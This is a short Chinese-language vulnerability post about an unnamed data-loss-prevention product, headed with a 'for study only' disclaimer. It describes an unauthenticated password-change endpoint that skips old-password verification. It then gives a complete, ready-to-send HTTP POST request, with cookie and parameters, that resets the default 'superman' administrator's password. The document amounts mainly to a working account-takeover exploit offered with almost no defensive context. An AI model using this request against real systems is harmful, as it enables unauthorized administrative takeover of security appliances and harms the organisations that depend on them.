某数据防泄漏 越权修改管理员密码

请遵守网络安全法！！！本文仅供学习交流使用！用于任何非授权渗透、非法目的攻击、从事非法活动均与笔者无关！读者自行承担其恶果！

利用过程

无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd
接口未授权访问,造成直接修改任意用户密码。默认superman账户uid为1

数据包

POST /?module=auth_user&action=mod_edit_pwd 
Cookie: username=superman;


uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1